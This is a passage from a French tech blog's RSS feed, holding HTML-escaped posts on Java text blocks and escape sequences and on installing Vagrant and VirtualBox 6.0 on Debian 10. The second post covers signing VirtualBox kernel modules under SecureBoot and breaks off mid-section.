&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String query = &quot;&quot;&quot;
               SELECT &quot;EMP_ID&quot;, &quot;LAST_NAME&quot; FROM &quot;EMPLOYEE_TB&quot;
               WHERE &quot;CITY&quot; = &apos;INDIANAPOLIS&apos;
               ORDER BY &quot;EMP_ID&quot;, &quot;LAST_NAME&quot;;
               &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons voir que cela permet clairement d&amp;#8217;améliorer la lecture du code.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;espace_blanc_accidentel&quot;&gt;Espace blanc accidentel&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans les exemples précédents, il est à noter que nous avons des espaces non significatifs au début de chaque ligne. Si nous matérialisons ces caractères avec le caractère point ( . ). Cela donne :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&quot;&quot;
..............&amp;lt;html&amp;gt;
..............    &amp;lt;body&amp;gt;
..............        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;
..............    &amp;lt;/body&amp;gt;
..............&amp;lt;/html&amp;gt;
..............&quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En sachant que nous pouvons avoir aussi des caractères parasites en fin de lignes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&quot;&quot;
..............&amp;lt;html&amp;gt;...
..............    &amp;lt;body&amp;gt;
..............        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;....
..............    &amp;lt;/body&amp;gt;.
..............&amp;lt;/html&amp;gt;...
..............&quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;équipe savait que cela allait amener de la duplication de code ou des librairies pour traiter ces espaces inutiles. Donc, ils ont préféré prendre en charge ce point en mettant en place un algorithme.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, nous allons utiliser le caractère pipe ( | ) afin de mieux visualiser le résultat de ce traitement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;|&amp;lt;html&amp;gt;|
|    &amp;lt;body&amp;gt;|
|        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;|
|    &amp;lt;/body&amp;gt;|
|&amp;lt;/html&amp;gt;|&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; L&amp;#8217;algorithme de ré-indentation sera normatif dans la spécification du langage Java. Les développeurs y auront accès via la méthode String::stripIdent.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;emplacement_de_la_fermeture_est_importante&quot;&gt;Emplacement de la fermeture est importante.&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;emplacement du caractère d&amp;#8217;ouverture n&amp;#8217;a pas d&amp;#8217;importance. En revanche, l&amp;#8217;emplacement du caractère de fermeture est très important, notamment s&amp;#8217;il se trouve sur une nouvelle ligne.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi dans l&amp;#8217;exemple suivant, le caractère de fermeture est décalé vers la droite&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&quot;&quot;
              &amp;lt;html&amp;gt;
                  &amp;lt;body&amp;gt;
                      &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;
                  &amp;lt;/body&amp;gt;
              &amp;lt;/html&amp;gt;
        &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons de nouveau utiliser le caractère point ( . ) pour visualiser les espaces inutiles.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String html = &quot;&quot;&quot;
........      &amp;lt;html&amp;gt;
........          &amp;lt;body&amp;gt;
........              &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;
........          &amp;lt;/body&amp;gt;
........      &amp;lt;/html&amp;gt;
........&quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, nous obtenons le résultat suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;|      &amp;lt;html&amp;gt;
|          &amp;lt;body&amp;gt;
|              &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;
|          &amp;lt;/body&amp;gt;
|      &amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;séquence_déchappements&quot;&gt;Séquence d&amp;#8217;échappements&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tous les séquences d&amp;#8217;échappements définis dans les spécifications du langage java (&lt;a href=&quot;https://docs.oracle.com/javase/specs/jls/se12/html/jls-3.html#jls-3.10.6&quot;&gt;section 3.10.6&lt;/a&gt;) sont supportées. Les plus courantes sont : \n \t \&apos; \&quot; et \\&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;utilisation du caractère guillemet ( &quot; ) seul ou double est aussi possible. Nous pouvons par exemple écrire le code suivant&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String code =
    &quot;&quot;&quot;
    String empty = &quot;&quot;;
    &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String code =
    &quot;&quot;&quot;
    String text = \&quot;&quot;&quot;
        A text block inside a text block
    \&quot;&quot;&quot;;
    &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_séquences_déchappements&quot;&gt;Nouvelles séquences d&amp;#8217;échappements&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A partir de la seconde &quot;Preview&quot; (&lt;a href=&quot;http://openjdk.java.net/jeps/368&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 368&lt;/a&gt;), une nouvelle séquence d&amp;#8217;espacement a été introduite : \&amp;lt;line-terminator&amp;gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet d&amp;#8217;écrire une chaine de caractère sur plusieurs lignes sans tenir compte du retour chariot.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String text = &quot;&quot;&quot;
                Lorem ipsum dolor sit amet, consectetur adipiscing \
                elit, sed do eiusmod tempor incididunt ut labore \
                et dolore magna aliqua.\
                &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela est l&amp;#8217;équivalent à :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String literal = &quot;Lorem ipsum dolor sit amet, consectetur adipiscing &quot; +
                 &quot;elit, sed do eiusmod tempor incididunt ut labore &quot; +
                 &quot;et dolore magna aliqua.&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;autre séquence est \s. Elle permet de se prémunir de la suppression des espaces en fin de ligne. C&amp;#8217;est à dire, si les espaces en fin de ligne sont significatifs, l&amp;#8217;utilisation de cette séquence permet de le signaler.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, dans l&amp;#8217;exemple ci-dessous, les espaces en fin de ligne sont significatif car cela permet d&amp;#8217;avoir des chaines de caractères de même longueur :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String colors = &quot;&quot;&quot;
    red  \s
    green\s
    blue \s
    &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De nouveau, en utilisant le caractère pipe ( | ), cela permet de mieux visualiser le résultat.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;|red  |
|green|
|blue |&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;références&quot; class=&quot;sect0&quot;&gt;Références&lt;/h1&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/378&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 378: Text Blocks&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/368&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 368: Text Blocks (Second preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/355&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 355: Text Blocks (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/326&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 326: Raw Strings Literal (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/12&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 12: Preview features&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/javase/specs/jls/se12/html/jls-3.html#jls-3.10.6&quot;&gt;Java Language Specification (JLS) section 3.10.6&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>VirtualBox, Vagrant on Debian 10 &quot;Buster&quot;</title>
      <link>https://www.lilian-benoit.fr/2020/03/VirtualBox-Vagrant-on-Debian-Buster.html</link>
      <pubDate>mer., 25 mars 2020 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2020/03/VirtualBox-Vagrant-on-Debian-Buster.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel0&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#installation_de_vagrant&quot;&gt;Installation de Vagrant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#installation_de_virtualbox&quot;&gt;Installation de VirtualBox&lt;/a&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_avec_secureboot&quot;&gt;Configuration avec SecureBoot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#signer_les_modules_virtualbox&quot;&gt;Signer les modules VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;contexte&quot; class=&quot;sect0&quot;&gt;Contexte&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Récemment, j&amp;#8217;ai installé mon nouveau portable professionnel avec Debian 10 &quot;Buster&quot;. Pour mes différents travaux, j&amp;#8217;ai pris l&amp;#8217;habitude de travailler avec des environnement sous Vagrant. Cela permet de construire mes environnements de tests ou de tester simplement de nouveaux produits. En complément, j&amp;#8217;utilise VirtualBox comme fournisseur pour les VMs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Mais pourquoi ce billet ?&lt;/strong&gt;
La raison est simple. Le produit VirtualBox n&amp;#8217;est disponible sous &quot;Buster&quot;. Vous pouvez le voir avec le lien suivant : &lt;a href=&quot;https://packages.debian.org/search?suite=default&amp;amp;section=all&amp;amp;arch=any&amp;amp;searchon=names&amp;amp;keywords=virtualbox&quot;&gt;Packages Debian&lt;/a&gt; ou avec la capture d&amp;#8217;écran ci-dessous (réalisé lors de l&amp;#8217;écriture de ce billet.)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2020/packages-debian-virtualbox.png&quot; alt=&quot;Capture d&amp;#8217;écran du site packages.debian.org&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;installation_de_vagrant&quot; class=&quot;sect0&quot;&gt;Installation de Vagrant&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est la partie la plus simple. Le package existe au niveau de la distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, il suffit de taper la commande suivante en tant que root&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install vagrant&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le point important est que la version incluse est la version 2.2.3. La dernière version de VirtualBox supportée est la version 6.0. Nous aurons l&amp;#8217;occasion de revenir dessus.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vagrant has detected that you have a version of VirtualBox installed
that is not supported by this version of Vagrant. Please install one of
the supported versions listed below to use Vagrant:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;4.0, 4.1, 4.2, 4.3, 5.0, 5.1, 5.2, 6.0&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; vagrant 2.2.3
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;installation_de_virtualbox&quot; class=&quot;sect0&quot;&gt;Installation de VirtualBox&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme énoncé précédemment, le produit n&amp;#8217;est pas inclus dans la distribution. Heureusement, Oracle met à la disposition un dépôt pour les distributions à base de Debian.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour les sources externes, je préfère créer un fichier spécifique. Donc pour cela, je crée un fichier virtualbox.list dans le dossier /etc/apt/sources.list.d/&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;deb [arch=amd64] http://download.virtualbox.org/virtualbox/debian buster contrib&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au jour de l&amp;#8217;écriture de ce billet, il y a deux versions :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;virtualbox-6.0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;virtualbox-6.1&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons utiliser le packet virtualbox-6.0 pour des raisons de compatibilité de vagrant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le support de virtualbox-6.0 est présent jusqu&amp;#8217;en juillet 2020.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Suite à l&amp;#8217;inclusion d&amp;#8217;une nouvelle origine des sources, il sera nécessaire d&amp;#8217;ajouter la clef Oracle pour les packages. Il existe plusieurs clefs, celle pour Buster est la suivante:  &lt;a href=&quot;https://www.virtualbox.org/download/oracle_vbox_2016.asc&quot;&gt;oracle_vbox_2016.asc&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;for Debian 8 (&quot;Jessie&quot;) / Ubuntu 16.04 (&quot;Xenial&quot;) and later&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; Site VirtualBox.org
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;empreinte de la clé &lt;a href=&quot;https://www.virtualbox.org/download/oracle_vbox_2016.asc&quot;&gt;oracle_vbox_2016.asc&lt;/a&gt; est&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;B9F8 D658 297A F3EF C18D  5CDF A2F6 83C5 2980 AECF
Oracle Corporation (VirtualBox archive signing key) &amp;lt;info@virtualbox.org&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons pouvoir installer la clé&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-key add oracle_vbox_2016.asc&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Enfin, nous allons pouvoir passer à l&amp;#8217;installation à proprement parler.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;# apt-get update
# apt-get install virtualbox-6.0&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Si vous n&amp;#8217;utilisez pas SecureBoot, l&amp;#8217;installation est terminée et vous pouvez utiliser les produits. Profitez-en !&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;configuration_avec_secureboot&quot;&gt;Configuration avec SecureBoot&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, si vous avez SecureBoot activé comme moi, vous aurez un problème avec VirtualBox. En effet, lors de l&amp;#8217;installation de virtualbox, vous verrez l&amp;#8217;erreur ci-dessous.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;# apt-get install virtualbox-6.0
Lecture des listes de paquets... Fait
Construction de l&apos;arbre des dépendances
Lecture des informations d&apos;état... Fait
Paquets recommandés :
  linux-image
Les NOUVEAUX paquets suivants seront installés :
  virtualbox-6.0
0 mis à jour, 1 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 103 Mo dans les archives.
Après cette opération, 227 Mo d&apos;espace disque supplémentaires seront utilisés.
Réception de :1 http://download.virtualbox.org/virtualbox/debian buster/contrib amd64 virtualbox-6.0 amd64 6.0.18-136238~Debian~buster [103 MB]
103 Mo réceptionnés en 3s (40,9 Mo/s)
Préconfiguration des paquets...
Sélection du paquet virtualbox-6.0 précédemment désélectionné.
(Lecture de la base de données... 252252 fichiers et répertoires déjà installés.)
Préparation du dépaquetage de .../virtualbox-6.0_6.0.18-136238~Debian~buster_amd64.deb ...
Dépaquetage de virtualbox-6.0 (6.0.18-136238~Debian~buster) ...
Paramétrage de virtualbox-6.0 (6.0.18-136238~Debian~buster) ...
Fin de la procédure.
vboxdrv.sh: failed: modprobe vboxdrv failed. Please use &apos;dmesg&apos; to find out why.

There were problems setting up VirtualBox.  To re-start the set-up process, run
  /sbin/vboxconfig
as root.  If your system is using EFI Secure Boot you may need to sign the
kernel modules (vboxdrv, vboxnetflt, vboxnetadp, vboxpci) before you can load
them. Please see your Linux system&apos;s documentation for more information.
Traitement des actions différées (« triggers ») pour mime-support (3.62) ...
Traitement des actions différées (« triggers ») pour hicolor-icon-theme (0.17-2) ...
Traitement des actions différées (« triggers ») pour gnome-menus (3.31.4-3) ...
Traitement des actions différées (« triggers ») pour systemd (241-7~deb10u3) ...
Traitement des actions différées (« triggers ») pour shared-mime-info (1.10-1) ...
Traitement des actions différées (« triggers ») pour desktop-file-utils (0.23-4) ...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si vous lancez la commande /sbin/vboxconfig comme conseillé en premier lieu, cette dernière vous proposera de désactiver le SecureBoot.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voulant garder la sécurité maximale de mon ordinateur, je préfère la seconde solution. C&amp;#8217;est à dire signer les modules du noyau (vboxdrv, vboxnetadp, vboxnetfltet vboxpci)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour la signature des modules, il est nécessaire de mettre en place une configuration particulière avec son propre certificat, je vous renvoie vers mon précédent &lt;a href=&quot;/2020/02/SecureBoot-Signer-ses-modules-et-pourquoi.html&quot;&gt;billet&lt;/a&gt; sur le sujet. J&amp;#8217;y explique pourquoi et comment réaliser les opérations.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;signer_les_modules_virtualbox&quot;&gt;Signer les modules VirtualBox&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une fois la configuration faite, nous allons pouvoir signer nos modules.
Pour cela nous allons utiliser la commande &lt;strong&gt;&lt;em&gt;sign-file&lt;/em&gt;&lt;/strong&gt;. L&amp;#8217;emplacement est en fonction du noyau que vous utilisez. Dans mon cas, c&amp;#8217;est le noyau 4.19. Pour simplifier, je définis un alias mais cela n&amp;#8217;est pas obligatoire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;alias sign-file=&quot;/usr/lib/linux-kbuild-4.19/scripts/sign-file&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous devez ensuite mettre la pass-phrase dans la variable KBUILD_SIGN_PIN sans oublier de l&amp;#8217;exporter&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;[ -z &quot;${KBUILD_SIGN_PIN}&quot; ] &amp;amp;&amp;amp; read -p &quot;Passphrase for ${key}: &quot; KBUILD_SIGN_PIN
export KBUILD_SIGN_PIN&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Enfin, vous pouvez utiliser la commande &lt;strong&gt;&lt;em&gt;sign-file&lt;/em&gt;&lt;/strong&gt; qui possède quatre arguments :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Algorithme de hash (ex : sha256)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Votre clé privée (key)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Votre certificat (x509)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Votre module&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
